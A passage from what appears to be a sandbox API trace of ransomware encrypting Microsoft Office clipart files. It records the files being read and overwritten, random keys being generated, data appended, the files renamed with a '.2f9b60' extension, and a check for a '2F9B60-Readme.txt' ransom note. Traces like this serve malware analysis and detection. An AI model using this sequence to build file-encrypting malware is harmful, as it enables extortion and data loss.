_Dest=0x1cda069a, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.065] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.065] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="45") returned 2 [0123.065] RtlInitAnsiString (in: DestinationString=0x21cff768, SourceString="d995f03189a7406ae2af5c6400192dde1be8079ae1e7e745" | out: DestinationString="d995f03189a7406ae2af5c6400192dde1be8079ae1e7e745") [0123.065] RtlAnsiStringToUnicodeString (in: DestinationString=0x21cff738, SourceString="d995f03189a7406ae2af5c6400192dde1be8079ae1e7e745", AllocateDestinationString=1 | out: DestinationString="d995f03189a7406ae2af5c6400192dde1be8079ae1e7e745") returned 0x0 [0123.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0123.065] wcscat (in: _Dest=0x202b1e10, _Source="d995f03189a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d995f03189a7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d995f03189a7" [0123.065] wcscat (in: _Dest=0x202b1e10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d995f03189a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d995f03189a7.2f9b60" [0123.065] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d995f03189a7.2f9b60", NtPathName=0x21cff710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d995f03189a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0123.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0123.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293530) returned 1 [0123.406] NtQueryInformationFile (in: FileHandle=0xfd0, IoStatusBlock=0x21cff778, FileInformation=0x21cff788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21cff778, FileInformation=0x21cff788) returned 0x0 [0123.406] NtSetInformationFile (FileHandle=0xfd0, IoStatusBlock=0x21cff778, FileInformation=0x21cff788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 [0123.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0123.413] FlushFileBuffers (hFile=0xfd0) returned 1 [0123.415] CloseHandle (hObject=0xfd0) returned 1 [0123.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1e10 [0123.416] wcscpy (in: _Dest=0x202b1e10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.416] wcscat (in: _Dest=0x202b1e10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 [0123.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b9a0) returned 1 Thread: id = 1556 os_tid = 0x1aa4 [0121.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0122.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF", dwFileAttributes=0x20) returned 1 [0122.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfd0 [0123.445] GetFileSizeEx (in: hFile=0xfd0, lpFileSize=0x21e1fa80 | out: lpFileSize=0x21e1fa80*=2488) returned 1 [0123.445] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.445] ReadFile (in: hFile=0xfd0, lpBuffer=0x21e1fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21e1fa48, lpOverlapped=0x0 | out: lpBuffer=0x21e1fa00*, lpNumberOfBytesRead=0x21e1fa48*=0x4, lpOverlapped=0x0) returned 1 [0123.525] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee90 [0123.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dcf0 [0123.526] NtQuerySystemTime (in: CurrentTime=0x21e1f940 | out: CurrentTime=0x21e1f940*=132462177289102000) returned 0x0 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x382dbf4 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x7f1881c3 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x71c59051 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x4caaad30 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x182ae7f5 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x3dbba66 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x1046dffc [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x72cdad1 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x5240e6b9 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x49458cf8 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x7d5c7d7b [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x651c15fb [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x44a95fda [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x88a71c8 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x49f95a24 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x5f4bd9eb [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x6d2a03b [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x1a2406f0 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x741aaf0c [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x2da35a48 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x142b5113 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x31fe3e93 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x63a66c58 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x10d901c0 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x43f203a9 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x19b37f15 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x6e0fa246 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x28a3acc4 [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x6217ed1d [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x55185bfb [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x7602796c [0123.526] RtlRandomEx (in: Seed=0x21e1f930 | out: Seed=0x21e1f930) returned 0x2a1aff46 [0123.533] ReadFile (in: hFile=0xfd0, lpBuffer=0x20491ef0, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x21e1f930, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesRead=0x21e1f930*=0x9b8, lpOverlapped=0x0) returned 1 [0123.533] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.533] WriteFile (in: hFile=0xfd0, lpBuffer=0x20486ac0*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x21e1f934, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesWritten=0x21e1f934*=0x9b8, lpOverlapped=0x0) returned 1 [0123.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f250 [0123.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1f0 [0123.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f1f0) returned 1 [0123.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20486ac0) returned 1 [0123.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0123.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0123.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0123.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f1f0 [0123.964] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.964] WriteFile (in: hFile=0xfd0, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21e1fa50, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x21e1fa50*=0x10a, lpOverlapped=0x0) returned 1 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e230 [0123.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e230) returned 1 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e230 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8d0 [0123.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d8d0) returned 1 [0123.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0123.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0123.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.966] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="05") returned 2 [0123.966] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="69") returned 2 [0123.966] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="78") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="7c") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="23") returned 2 [0123.967] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="53") returned 2 [0123.967] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="42") returned 2 [0123.967] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="28") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="f6") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="fb") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="d0") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="bb") returned 2 [0123.967] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="00") returned 2 [0123.967] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="58") returned 2 [0123.967] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="5e") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="25") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="27") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="af") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="00") returned 2 [0123.967] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="fc") returned 2 [0123.967] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="54") returned 2 [0123.967] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="92") returned 2 [0123.967] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="d3") returned 2 [0123.967] RtlInitAnsiString (in: DestinationString=0x21e1fac8, SourceString="0569787c23534228f6fbd0e9bb00585e2527af00fc5492d3" | out: DestinationString="0569787c23534228f6fbd0e9bb00585e2527af00fc5492d3") [0123.967] RtlAnsiStringToUnicodeString (in: DestinationString=0x21e1fa98, SourceString="0569787c23534228f6fbd0e9bb00585e2527af00fc5492d3", AllocateDestinationString=1 | out: DestinationString="0569787c23534228f6fbd0e9bb00585e2527af00fc5492d3") returned 0x0 [0123.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced91d0 [0123.968] wcscat (in: _Dest=0x202b1370, _Source="0569787c2353" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0569787c2353") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0569787c2353" [0123.968] wcscat (in: _Dest=0x202b1370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0569787c2353.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0569787c2353.2f9b60" [0123.968] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0569787c2353.2f9b60", NtPathName=0x21e1fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0569787c2353.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0123.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0123.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0123.971] NtQueryInformationFile (in: FileHandle=0xfd0, IoStatusBlock=0x21e1fad8, FileInformation=0x21e1fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21e1fad8, FileInformation=0x21e1fae8) returned 0x0 [0123.971] NtSetInformationFile (FileHandle=0xfd0, IoStatusBlock=0x21e1fad8, FileInformation=0x21e1fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0123.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced91d0) returned 1 [0123.972] FlushFileBuffers (hFile=0xfd0) returned 1 [0124.143] CloseHandle (hObject=0xfd0) returned 1 [0124.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0470 [0124.146] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.146] wcscat (in: _Dest=0x202b0470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 [0124.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c8d0) returned 1 Thread: id = 1557 os_tid = 0x1aa8 [0121.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0122.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF", dwFileAttributes=0x20) returned 1 [0122.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc4 [0123.444] GetFileSizeEx (in: hFile=0xfc4, lpFileSize=0x21eefa60 | out: lpFileSize=0x21eefa60*=1676) returned 1 [0123.444] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x688, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.444] ReadFile (in: hFile=0xfc4, lpBuffer=0x21eef9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21eefa28, lpOverlapped=0x0 | out: lpBuffer=0x21eef9e0*, lpNumberOfBytesRead=0x21eefa28*=0x4, lpOverlapped=0x0) returned 1 [0123.814] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e980 [0123.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9e0 [0123.815] NtQuerySystemTime (in: CurrentTime=0x21eef920 | out: CurrentTime=0x21eef920*=132462177291910000) returned 0x0 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x1f3a2eac [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x3ac7dc33 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x4455e1a5 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x66ef43bd [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x36deba32 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x1a6c7e96 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x7ea30446 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x64f2b51c [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x79d3114a [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x1a5f372d [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x259d0ad1 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x5d28ee7b [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x1ac1b4df [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x3691d0ba [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x4ffddf57 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x13de6467 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x4bf23118 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x2abb4127 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x584bbf35 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x60264b9a [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0xf1fa831 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x577fa092 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x3e3dc344 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x562a54c6 [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x591fd63c [0123.815] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0xe8a02c3 [0123.816] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x44117b0b [0123.816] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x64daa80 [0123.816] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x2abb4127 [0123.816] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x577fa092 [0123.816] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x5df28425 [0123.816] RtlRandomEx (in: Seed=0x21eef910 | out: Seed=0x21eef910) returned 0x2177467f [0124.501] ReadFile (in: hFile=0xfc4, lpBuffer=0x41d44990, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x21eef910, lpOverlapped=0x0 | out: lpBuffer=0x41d44990*, lpNumberOfBytesRead=0x21eef910*=0x68c, lpOverlapped=0x0) returned 1 [0124.501] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.501] WriteFile (in: hFile=0xfc4, lpBuffer=0x202100b0*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x21eef914, lpOverlapped=0x0 | out: lpBuffer=0x202100b0*, lpNumberOfBytesWritten=0x21eef914*=0x68c, lpOverlapped=0x0) returned 1 [0124.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0124.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0124.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0124.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202100b0) returned 1 [0124.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d44990) returned 1 [0124.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0124.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0124.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fca0 [0124.553] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.553] WriteFile (in: hFile=0xfc4, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21eefa30, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x21eefa30*=0x10a, lpOverlapped=0x0) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0124.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec50) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec50 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebf0 [0124.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ebf0) returned 1 [0124.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.620] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="0b") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="72") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.620] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="01") returned 2 [0124.620] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="b6") returned 2 [0124.620] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="55") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="fa") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="42") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="70") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="5e") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="ec") returned 2 [0124.620] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.620] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="18") returned 2 [0124.620] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: 